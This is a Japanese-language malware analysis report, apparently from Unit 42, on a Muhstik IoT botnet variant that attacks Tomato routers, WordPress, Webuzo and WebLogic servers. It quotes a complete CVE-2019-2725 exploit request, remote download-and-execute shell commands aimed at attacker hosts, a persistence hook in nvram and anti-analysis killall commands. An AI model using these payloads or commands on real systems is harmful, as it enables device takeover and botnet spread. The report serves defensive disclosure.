This post is also available in: English (英語)
概要
2019年12月5日、Unit 42のリサーチャーは、Muhstikボットネットの新しい亜種を発見しました。同亜種はweb認証のブルートフォースを使う初のTomatoルータ攻撃用スキャナを追加するものでした。
Tomatoはルータ用オープンソース代替ファームウェアです。Linuxベースのプロプライエタリではない安定したファームウェアで、VPNパススルー機能や高度なサービス品質制御(QoS)を持つことから、複数のルータベンダがこのファームウェアを採用してインストールしており、エンドユーザーも手動でインストールすることがあります。Shodanでの調査によると、4,600台以上のTomatoルータがインターネット上に公開されていました。
Muhstikボットネットは2018年3月から稼働しているボットネットで、LinuxサーバーやIoTデバイスに感染するワームに似た自己増殖機能を備えています。Muhstikは、複数の脆弱性エクスプロイトを使用し、Weblogic、WordPress、DrupalといったLinuxサービスに感染します。このほかGPONホームルーターやDD-WRTルータのようなIoTルータも侵害します。今回見つかった亜種は、Tomatoルータに感染することでボットネットを拡大しています。
脆弱なルータの「収穫」後のTomatoルータには、これ以外の悪意のある活動は見つかりませんでした。ただし私たちの理解では、Muhstikボットネットは主にIoTボットで暗号通貨(仮想通貨)のマイニングやDDoS攻撃の開始によって利益を上げているものです。Unit 42 はコマンド&コントロール(C2)用IRCチャネルを監視し続ける予定です。
本稿ではこれ以降、Muhstikボットネットの詳細な分析を行います。
Tomatoルータ用の新しいスキャナ
新しいMuhstikの亜種は、8080/tcp上のTomatoルータをスキャンし、デフォルトの資格情報のブルートフォース攻撃により管理web認証をバイパスします。Tomatoルータの場合、デフォルトの資格情報は「admin: admin」、「root: admin」です。図1はTomatoルータへのweb認証ブルートフォーシンス攻撃トラフィックをキャプチャしたものです。
図1 Tomatoルータのweb認証ブルートフォース攻撃
感染台数を推定するためにShodanでTomatoルータのフィンガープリントを検索したところ、図2に示したように、インターネット上には合計約4,600台の潜在的被害端末があることがわかりました。なおこの合計数は、TomatoUSBデバイスの数も含めて算出しています。TomatoUSBデバイスというのは、TomatoルータとUSBドライブを組み合わせてNASサーバーとして使用するためのデバイスのことです。
図2 インターネット上に公開されているTomatoルータとTomatoUSBルータ
その他のスキャナ
スキャン 1: WordPress
最初のモジュールは、サーバーにインストールされているWordPressを識別するスキャナです。スキャンを実行するため、同モジュールは通常HTTPポートであるポート80/tcpないし8080/tcpへのGETリクエスト送信します。
図3 daymonが使用するWordPressスキャナ
スキャン 2: Webuzo
2番目のモジュールは、サーバーにインストールされているWebuzoソリューションを識別するスキャナです。スキャンを実行するため、同モジュールは GET リクエストをポート2004/tcpに送信します。port 2004/tcpはWebuzoの管理画面のデフォルトポートです。このリクエストには/install.phpというパスを使用します。このパスは、Webuzoのインストーラーファイルで、デフォルトでは、Webuzoを実行しているサーバーは、このリクエストに正常応答します。
1 2 3 4 |
GET /install.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Host: 132.223.202.213 |
スキャン 3: CVE-2019-2725 - WebLogic バージョン 10.3.6.0 および 12.1.3.0
3番目のモジュールは、リモートコード実行につながるOracle WebLogic Server上のデシリアライゼーション脆弱性を悪用します。この脆弱性はリモートから事前認証なしで悪用される可能性があります。このエクスプロイトはWebLogic Serverのデフォルトポートであるポート7001/tcpに送信されます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
POST /_async/AsyncResponseService HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Host: 194.187.209.4 Content-Type: text/xml content-length: 916 <soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsa='http://www.w3.org/2005/08/addressing' xmlns:asy='http://www.bea.com/async/AsyncResponseService'><soapenv:Head er> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkC ontext xmlns:work='http://bea.com/2004/06/soap/workarea/'><java version='1.4.0' class='java.beans.XMLDecoder'> <void class='java.lang.ProcessBuilder'> <array class='java.lang.String' length='3'> <void index='0'> <string>/bin/bash</string> </void> <void index='1'> <string>-c</string> </void> <void index='2'> <string>wget http://165.227.78.159/wl.php</string> </void> </array> <void method='start'/></void> </java> </work:WorkContext ></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope> |
URL hxxp://165.227.78[.]159/wl.phpは、レポート目的で使用されているものと考えられます。というのも、IPアドレス165.227.78[.]159は以前、Mushtikボットネットによってレポートサーバーとしてボットの情報を収集するために利用されていたことがあるからです。この件については、別のMuhstik亜種分析レポートで説明しています。
Muhstikボットネットのインフラ
以下の図3は更新されたMuhstik亜種による実行フローを示したものです。また図4は、WordPress、Webuzoを実行するLinuxサーバースキャン用モジュールを組み合わせたMuhstikボットネット亜種を示したものです。同亜種はこれに加えてTomatoファームウェアを実行するWebLogicサーバーとWi-Fiルータの侵害用モジュールも実装しています。
図4 Muhstikのインフラ
図5 スキャン、エクスプロイト時の振る舞いに関する詳細
Muhstik亜種のペイロード
私たちは、tty0という悪意のあるバイナリを発見しました。tty0はTomatoルータを対象としているため、Tomatoルータのシステム(およびDD-WRTなどの他のシステム)で実行可能なbashコマンドを含んでいます。
最初のコマンドは nvr と呼ばれるバイナリをhttp://y.fd6fq54s6df541q23sdxfg[.]eu/nvrからダウンロードするのに利用されます。
1 2 3 4 |
/bin/sh -c nvram set rc_firewall="sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh" > /dev/null 2>&1 /bin/sh -c nvram commit > /dev/null 2>&1 |
tty0はシステムで実行中のstraceやtcpdumpプロセスを強制終了することで、分析されるのを防止する手法も取っています。
1 2 3 4 |
/usr/bin/killall -9 strace /bin/sh -c killall -9 tcpdump > /dev/null 2>&1 & /bin/sh -c killall -9 strace > /dev/null 2>&1 & /usr/bin/killall -9 tcpdump |
nvr バイナリにはさらに4つのバイナリを追加ダウンロードするコマンドが含まれています。これら4つのバイナリはIRCボットネットの亜種で、ARMおよびMIPSアーキテクチャで動作します。私たちはこの中からPty5というバイナリを中心に分析を行いました。その理由は、このバイナリがdaymonと呼ばれるバイナリをドロップし、そのdaymonがTomatoルータを対象とする新しいモジュールを含むスキャナだからです。
daymon はMiraiに使われている暗号化手法をとっており、 そのテーブルキーは 0xEFBEADDEです。
1 2 3 4 5 6 7 8 9 10 11 |
wget -O /tmp/pty1 http://159.89.156.190/.y/pty1; chmod +x /tmp/pty1; chmod 700 /tmp/pty1; /tmp/pty1 & wget -O /tmp/pty3 http://159.89.156.190/.y/pty3; chmod +x /tmp/pty3; chmod 700 /tmp/pty3; /tmp/pty3 & wget -O /tmp/pty6 http://159.89.156.190/.y/pty6; chmod +x /tmp/pty6; chmod 700 /tmp/pty6; /tmp/pty6 & wget -O /tmp/pty5 http://159.89.156.190/.y/pty5; chmod +x /tmp/pty5; chmod 700 /tmp/pty5; /tmp/pty5 & |
IRCによるC2
侵害されたデバイスは、IRCサーバーに接続コマンドを送信します。connectコマンドには、デバイスをチャンネルに参加させるためのニックネーム(NICK)がつけられます。このニックネームには、次の図6が示すように、以前に取得した感染デバイスのノードホスト名が含まれます。
図6 ホスト名の収集
また図7では、ユーザー名がconnectコマンドに追加されています。
1 |
USER muhstik localhost localhost :muhstik-11052018 |
サーバー側は PINGコマンドに BotnetIDをつけて応答します。侵害されたデバイスは PONG に BotnetIDをつけて応答します。ニックネームが作成され、それが感染したクライアントに割り当てられると、IRCサーバーはボットをクライアントとしてメインチャネルに受け入れます。次に、サーバーはクライアントにMOTD(Message of the Day: 今日のメッセージ)を送信します。続いて侵害されたデバイスはeaと呼ばれるチャネルに参加するためのコマンドを送信します。そしてこのeaチャネルが、ボットネットの参加クライアントにコマンドを送信してきます。ボットネットはデバイスをボットネットに登録するためにパブリックIPアドレスなど感染デバイスの情報を収集します。
図7 IRCチャンネルに参加する
結論
この新しいMuhstikボットネット亜種の存在は、IoTボットネットというものが、新しいスキャナやエクスプロイトを追加し、新たなIoTデバイスを収集することにより、その規模を拡大しつづけている実態を示すものです。ボットネットの開発者によるオープンソースファームウェアをインストールしたIoTデバイスへの侵害は増加しています。その理由は、デバイス保護のために必要なセキュリティアップデートやメンテナンスパッチが、オープンソースファームウェアでは提供されにくいことが多々あるためです。エンドユーザーは、オープンソースファームウェアをインストールする際には注意が必要ですし、その際はファームウェアマニュアルのセキュリティガイドラインに従う必要があります。
Palo Alto Networksのお客様は、以下のセキュリティプラットフォームによってMuhstikボットネットから保護されています。
- Zingbox IoT GuardianではC2およびMuhstikボットネットで使用されるエクスプロイトの検出を追加します。
- Threat Preventionのシグネチャ55570はWeblogic(CVE-2019-2725)のエクスプロイトを識別します。
- PAN-DBとDNS Securityは、攻撃者のC2サーバーのURLとドメインを遮断します。
- WildFireとAntivirusは、Muhstikマルウェアを識別して遮断します。
付録
C2 サーバー
IRC サーバー:
- 46.149.233[.]35
- 68.66.253[.]100
- 185.61.149[.]22
ドメインとURL:
- hxxp://y.fd6fq54s6df541q23sdxfg[.]eu/nvr
- hxxp://159.89.156[.]190/.y/pty1
- hxxp://159.89.156[.]190/.y/pty3
- hxxp://159.89.156[.]190/.y/pty5
- hxxp://159.89.156[.]190/.y/pty6
- s.shadow.mods[.]net
サンプル
ファイル名 | SHA256値 | ファイルタイプ |
tty0 | 492780a9ac9f03305538b360d8a836c038da4920e8c1ae620988b120613c0b1f | MIPS-ELF |
nvr | 2548f5b1613f6ebba2ff589c7b3416ccdd066b73644d4d212232beb1cecd9c31 | シェルスクリプト |
Pty1 | a4ba50129408f9f52ddabe5bfd5bfb46aea0ca48fb616f495f2610b2f1729687 | MIPS-ELF |
Pty3 | 7325742dc0d939542d4c04ae2ae8f2792711203de50d3d16de3a9f83baaf5435 | MIPS-ELF |
Pty5 | 72123c51bcdf8c1784654d9e2470e69131872407408aa3cf775ea0ace87bb9a0 | ARM-ELF |
Pty6 | cee20e79f20d35b95645f0cbda1897302e6e554c50f3e6754ce9293e3c1ba11c | ARM-ELF |
daymon | dc52a1193ecf6096192f771ae663de6e0389840cb5ceb7b979091333ce6f7f02 | ARM-ELF |